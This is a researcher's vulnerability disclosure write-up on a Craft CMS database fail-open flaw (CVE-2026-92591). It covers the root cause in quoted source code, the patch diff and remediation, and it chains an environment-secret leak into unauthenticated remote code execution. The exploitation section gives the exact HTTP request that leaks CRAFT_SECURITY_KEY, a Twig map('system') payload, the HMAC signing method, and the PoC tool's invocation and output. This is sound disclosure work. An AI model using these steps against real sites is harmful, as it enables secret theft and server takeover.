Craft CMS Environment Disclosure to Unauthenticated RCE via Database Fail-Open
TL;DR
- I found unauthenticated RCE in Craft CMS during database outages.
- A failed database connection makes an installed site reopen its anonymous installer.
- The installer's site-name check exposes environment secrets, including the key Craft uses to sign cookies and request parameters.
- The installer also renders signed redirects as Twig, the same unsandboxed sink as the signed-cookie redirect RCE, so the disclosed key lets an anonymous visitor submit a template that runs commands.
- Craft fixed the disclosure that supplied the key for this chain, tracked as CVE-2026-92591.
Summary
- CVE: CVE-2026-92591
- Product: Craft CMS (
craftcms/cms) - Vulnerability: Unauthenticated Environment Disclosure Chained to Remote Code Execution via Database Fail-Open
- Affected Versions:
>= 5.0.0, < 5.10.13 - Fixed In: 5.10.13
- Severity: Medium (disclosure, per advisory)
- CVSS Severity: 5.9 (medium) for the disclosure, 8.1 (high) for the full chain
- Required Privilege: None
- Advisory: GHSA-hfjh-gw6x-7pv5
- Reported: July 22, 2026
- NVD Published: September 16, 2026
Introduction
[A]I nearly threw this one away. It started as an idea for an unauthenticated path to code execution that depended on the database being unavailable at the moment of the request. I could make it work in a lab where I controlled the database, but I could not find a way to reliably force a production database offline from the outside, so I set it aside and moved on to bugs that did not need a coincidence to fire.
I came back to it while looking at what Craft does when its dependencies go missing. Pull the database out from under a running site and most of what happens is unremarkable. But a database-less site presents as a fresh one. The setup screen and the install-time endpoints come back to life, and an uninstalled Craft is meant to talk to anonymous visitors, because nobody has an account yet.
Root Cause Analysis
A Database Outage Reads as "Not Installed"
Craft's sense of whether it is installed starts from a connectivity check. ApplicationTrait::getIsDbConnectionValid() tries to open the connection and reports a bare boolean.
// src/base/ApplicationTrait.php
public function getIsDbConnectionValid(): bool
{
try {
$this->getDb()->open(); // [1] Only tests the connection.
} catch (DbConnectException|InvalidConfigException $e) {
// ... web-request logging omitted ...
return false; // [2] Dead database, invalid settings.
}
return true;
}
The open attempt at [1] is all this method tests. A network failure and a misconfigured DSN both land in the same catch, and [2] collapses them into false, with nothing to distinguish "the settings are wrong" from "the settings are right but the server is unreachable right now". That boolean feeds the installed check, ApplicationTrait::getIsInstalled().
// src/base/ApplicationTrait.php
public function getIsInstalled(bool $strict = false): bool
{
// ... cached-value short-circuit omitted ...
if (!$this->getIsDbConnectionValid()) {
return $this->_isInstalled = false; // [3] No database means uninstalled.
}
// ... otherwise query the `info` row to decide ...
}
Craft only reaches the code that inspects the info row when the connection is valid. When it is not, the early return at [3] answers "not installed" outright and caches that answer for the rest of the request. The intent is reasonable for a machine mid-setup, where the database may not be reachable yet. An installed production site whose database has briefly gone away is indistinguishable, to this method, from a brand-new one.
The Installer Never Closes
InstallController is anonymous on purpose and gates itself entirely on getIsInstalled().
// src/controllers/InstallController.php
protected array|bool|int $allowAnonymous = self::ALLOW_ANONYMOUS_LIVE | self::ALLOW_ANONYMOUS_OFFLINE; // [4] Every action is anonymous.
public function beforeAction($action): bool
{
// Return a 404 if Craft is already installed
if (!App::devMode() && Craft::$app->getIsInstalled()) {
throw new BadRequestHttpException('Craft is already installed'); // [5] Only getIsInstalled() shuts it.
}
// ... parent::beforeAction and no-cache headers ...
return true;
}
The allowlist at [4] means no session is required to call these actions, which is correct for an uninstalled site with no users. The single guard at [5] is supposed to make that safe in production. Once Craft is installed, the installer refuses every request. But it reads getIsInstalled(), which returns false the moment the database is unreachable. During an outage the branch is skipped, and every action on the controller is open to anonymous callers again.
The Installer Endpoint That Echoes Its Input
Among those actions is InstallController::actionValidateSite(), which the setup wizard uses to check a site name and URL.
// src/controllers/InstallController.php
public function actionValidateSite(): Response
{
$this->requirePostRequest();
$this->requireAcceptsJson();
$site = new Site([
'name' => $this->request->getBodyParam('name'), // [6] Site name from the request.
'baseUrl' => $this->request->getBodyParam('baseUrl'),
'language' => $this->request->getBodyParam('language'),
]);
if (!$site->validate(['name', 'baseUrl', 'language'])) {
return $this->asModelFailure($site);
}
return $this->asModelSuccess($site); // [7] Success serialises the model.
}
The name at [6] is attacker-controlled, and on a valid submission the model is serialised into the JSON response at [7]. That is fine for a real setup step. Here, validating the name succeeds against a dead database, and reading the name back resolves it. Validation is the first thing that ought to stand in the way, from Site::defineRules().
// src/models/Site.php
$rules[] = [['name', 'handle', 'baseUrl'], 'string', 'max' => 255]; // [8] Length-checked as the placeholder.
if (Craft::$app->getIsInstalled()) {
$rules[] = [['name', 'handle'], UniqueValidator::class, 'targetClass' => SiteRecord::class]; // [9] Unique check skipped, uninstalled.
}
The length rule at [8] runs before any environment expansion, so it measures the short ${CRAFT_SECURITY_KEY} placeholder rather than the secret it will expand to. A disclosed value longer than 255 characters sails through. The uniqueness rule at [9] is the only rule that would issue a query, and Craft registers it only when getIsInstalled() is true, which the outage makes false. So validate() completes without touching the database. Craft even keeps the raw placeholder intact through validation, because Site::beforeValidate() re-trims the name with getName(false), the unparsed form, so the usual trim rule never expands it.
From Site Name to Environment Secret
The read-back happens in Controller::asModelSuccess(), which turns the model into an array.
// src/web/Controller.php
$modelData = $model->toArray(); // [10] toArray reads through getters.
// ... cpEditUrl stripping for non-CP requests omitted ...
$data += array_filter([
'modelName' => $modelName,
'modelClass' => get_class($model),
($modelName ?? 'model') => $modelData, // [11] Serialised site into the response.
]);
toArray() at [10] reads name through the model's getter, and at [11] that serialised array goes into the response under the model key. The getter turns that read into an environment lookup, from Site::getName().
// src/models/Site.php
#[AllowedInSandbox]
public function getName(bool $parse = true): string
{
return ($parse ? App::parseEnv($this->_name) : $this->_name) ?? ''; // [12] getName resolves env expressions.
}
With $parse defaulting to true at [12], and toArray() calling the getter with no arguments, the stored ${CRAFT_SECURITY_KEY} is handed to App::parseEnv(). Craft expands it on purpose, so an administrator can set a site name of ${SITE_NAME} and have it resolve per environment. App::parseEnv() runs the brace-style expansion up front, unconditionally, before its $VAR and /$VAR/ branches, and App::parseNestedEnv() is the expansion itself.
// src/helpers/App.php
private static function parseNestedEnv(string $value): string
{
return preg_replace_callback('/\$\{(\w+)}/', fn(array $m) => static::env($m[1]), $value); // [13] ${NAME} replaced via App::env.
}
The regex at [13] replaces each ${NAME} with App::env($name), which resolves the name against Craft's secrets file, then $_SERVER, then getenv(), then defined PHP constants. Those four sources hold exactly the material a deployment keeps out of reach, such as CRAFT_SECURITY_KEY, database credentials, mail and object-storage keys, and third-party API tokens. Whatever the requested name resolves to is substituted into the site name and carried back out through the serialised model. The attacker never needed to know the value, only the name.
Escalating to Unauthenticated RCE
Read on its own, validate-site leaking an environment variable is an information disclosure, and that is how it was triaged. It becomes remote code execution because the same Controller::asModelSuccess() also resolves a redirect on its way out, guarded only by the secret the disclosure just leaked.
// src/web/Controller.php
return $this->asSuccess(
$message,
$data,
$redirect ?? $this->getPostedRedirectUrl($model), // [14] Site is the render object.
$notificationSettings,
);
actionValidateSite() passes no $redirect, so getPostedRedirectUrl($model) runs at [14] with the Site as its object, and Controller::getPostedRedirectUrl() validates a posted redirect param and, with an object in hand, renders it.
// src/web/Controller.php
protected function getPostedRedirectUrl(?object $object = null): ?string
{
$url = $this->request->getValidatedBodyParam('redirect'); // [15] Accepts only a valid HMAC.
if ($url && $object) {
$url = $this->getView()->renderObjectTemplate($url, $object); // [16] Rendered as unsandboxed Twig.
}
// ... redirectParams handling omitted ...
}
The guard at [15] accepts a redirect only if it already carries a valid HMAC over securityKey. Once it does, the render at [16] reaches the same sink as the signed-cookie redirect RCE (CVE-2026-92592), where renderObjectTemplate() is a Twig environment with escaping off and no sandbox, so a validated {{ ['id']|map('system')|join }} runs system('id'). That post covers the sandbox gap in full, including why the map filter calls a string like system as a function. The difference here is how you get past [15], because the authenticated version needed a separate signing oracle and this one already handed back securityKey in the first request.
With the key in hand the attacker signs their own value. Yii's signed-data envelope is HMAC || data, an HMAC-SHA256 over the raw bytes with the key, so computing hash_hmac('sha256', twig, key) . twig locally produces a redirect the check accepts. The command output rides back in the redirect field, because renderObjectTemplate() returns trim($templateObj->render(...)) and Twig's render() buffers everything system() prints into that string.
Impact
An unauthenticated attacker reaches arbitrary command execution as the PHP worker during a database outage. In the Docker lab that worker is www-data. It has the same reach as the authenticated signed-cookie redirect RCE and needs no account. It can read .env and any other secret the web user can reach, write to storage/ and web/cpresources/, and pivot with those credentials. It doesn't by itself give root or escape a container.
The disclosure remains exploitable even if the RCE is mitigated separately. During the outage, any environment-scoped secret with a predictable name can be read one at a time. CRAFT_SECURITY_KEY matters most, because Craft uses it to sign cookies, validate signed request parameters, and bind CSRF tokens, so leaking it undermines all three, before you even point it back at this endpoint.
The database has to be down, and the finding provides no way to cause that, so the attacker is exploiting an outage that is already happening, whether a crash, a maintenance window, connection-pool exhaustion, or a network partition between the web and database tiers.
Exploitation
Preconditions
- Craft CMS
>= 5.0.0, < 5.10.13running in production, sodevModeis off, with PHP'ssystem()callable for the code-execution step. - The configured database becomes unreachable while the web server and PHP stay up, so Craft answers requests but reports itself as not installed.
- A CSRF token and its cookie, obtained before the outage. Craft's default
enableCsrfCookie=truekeeps the token in a signed cookie that needs no database, so it stays valid through the outage. If CSRF cookies are disabled the token is session-backed, so a session store that uses the downed database (such asyii\web\DbSession) breaks the chain, while file or independent storage survives. No token is needed if CSRF protection is off. - The active
securityKeycomes from theCRAFT_SECURITY_KEYenvironment variable, which is Craft's default. The RCE step signs the redirect with the disclosed value, so a site that setssecurityKeystatically in config keeps the disclosure but loses the signing step.
Disclosing the Key
Once the database is unavailable, the first request posts the environment expression as the site name, reached through the control-panel trigger.
POST /index.php?p=admin/actions/install/validate-site HTTP/1.1
Host: target.example
Content-Type: application/json
Accept: application/json
X-CSRF-Token: CSRF_TOKEN
Cookie: CRAFT_CSRF_TOKEN=CSRF_COOKIE
{"name": "${CRAFT_SECURITY_KEY}", "baseUrl": "https://example.invalid", "language": "en-US"}
Craft validates the model without touching the database and serialises it back, with the name expanded to the real key in the model.name field.
Signing and Firing the Redirect
The attacker signs a Twig payload locally, hash_hmac('sha256', twig, key) . twig, and sends it back as redirect on a second validate-site request with an inert name. getPostedRedirectUrl() accepts the signature, renders the template against the site, and the command's stdout comes back in the redirect field.
Since the attacker cannot cause the outage, the db_failopen_rce.py client grabs a CSRF token while the site is up, then polls the installer (every 5s by default, --interval to change it) and fires the moment an outage reopens it. It discloses CRAFT_SECURITY_KEY, signs the Twig payload with it, and reads the output from the response. Without --command it stops after the disclosure and prints the value, and --env-name reads any other variable.
python3 db_failopen_rce.py --url https://target.example --command id
Against a local Craft 5.10.11 fixture in production mode, dropping only the MySQL container mid-poll while PHP kept serving:
____ ____ _ _____ _____
/ ___| _ \ / \ | ___|_ _|
| | | |_) | / _ \ | |_ | |
| |___| _ < / ___ \| _| | |
\____|_| \_\/_/ \_\_| |_|
unauthenticated DB fail-open disclosure -> RCE · CVE-2026-92591
discovered by CryptoCat · cryptocat.me
[*] Acquiring a CSRF token while the site is up
[+] Token acquired
[*] Polling install/validate-site every 5s, waiting for a database outage
[+] Outage detected, installer is open
[+] Disclosed CRAFT_SECURITY_KEY = 6e6f742d612d7265616c2d7365637265742d66696e643030322d64656d6f2d6b6579
[*] Signing a map('system') redirect with that key and firing it
[+] command output
------------------------------------------------------------
uid=33(www-data) gid=33(www-data) groups=33(www-data)
Patch Diffing
Craft fixed the disclosure in 5.10.13 by serialising the unparsed site name. actionValidateSite() now builds its response data from the getName(false) form and passes it to the response, from InstallController.php.
// src/controllers/InstallController.php (actionValidateSite)
$site = new Site([
'name' => $this->request->getBodyParam('name'),
'baseUrl' => $this->request->getBodyParam('baseUrl'),
'language' => $this->request->getBodyParam('language'),
]);
+ $data = [
+ 'model' => [
+ 'name' => $site->getName(false),
+ 'baseUrl' => $site->getBaseUrl(false),
+ 'language' => $site->getLanguage(false),
+ ],
+ ];
+
if (!$site->validate(['name', 'baseUrl', 'language'])) {
- return $this->asModelFailure($site);
+ return $this->asModelFailure($site, data: $data);
}
- return $this->asModelSuccess($site);
+ return $this->asModelSuccess($site, data: $data);
Passing data with the getName(false) name overrides the parsed name that asModelSuccess() would otherwise read through toArray(), so ${CRAFT_SECURITY_KEY} is returned as the literal placeholder rather than the resolved secret. That breaks the disclosure, and with it the RCE chain, since the attacker can no longer obtain the key that signs the redirect. It does not change the redirect sink. asModelSuccess() still calls getPostedRedirectUrl($model), which still renders a validated redirect as unsandboxed Twig in 5.10.13, so the same map('system') path survives for anyone who can sign a value by other means.
Remediation
Update to Craft CMS 5.10.13 or later, which serialises the unparsed site name as shown above.
If you can't update immediately, make database outages fail closed at the web tier, so a load balancer or health check pulls the site out of rotation when the database is unreachable. A Craft process that believes it is uninstalled then never answers a public request. Rotate CRAFT_SECURITY_KEY and any other environment secrets if you have reason to think the installer was reachable anonymously during an outage.
Disclosure Timeline
- July 22, 2026: Reported the fail-open environment disclosure privately to Craft CMS, with a PoC and a proposed fix.
- July 23, 2026: Disclosure triaged and accepted as medium severity.
- July 23, 2026: Reported the escalation, with a working PoC. The disclosed
CRAFT_SECURITY_KEYsigns a Twigredirectthat the samevalidate-siteaction renders, which chains to unauthenticated RCE. - July 31, 2026: Resolved by the vendor, with a request to report any bypass of the fix.
- August 4, 2026: Fixed in Craft CMS 5.10.13.
- September 1, 2026: GHSA-hfjh-gw6x-7pv5 published, describing the environment disclosure.
- September 16, 2026: CVE-2026-92591 assigned to the disclosure.
Conclusion
The outage supplied the key as well as the open endpoint. Craft reads a database error as proof that it is not installed, which reopens an endpoint meant for a machine nobody has set up yet. The advisory rates the disclosure medium and does not describe the escalation.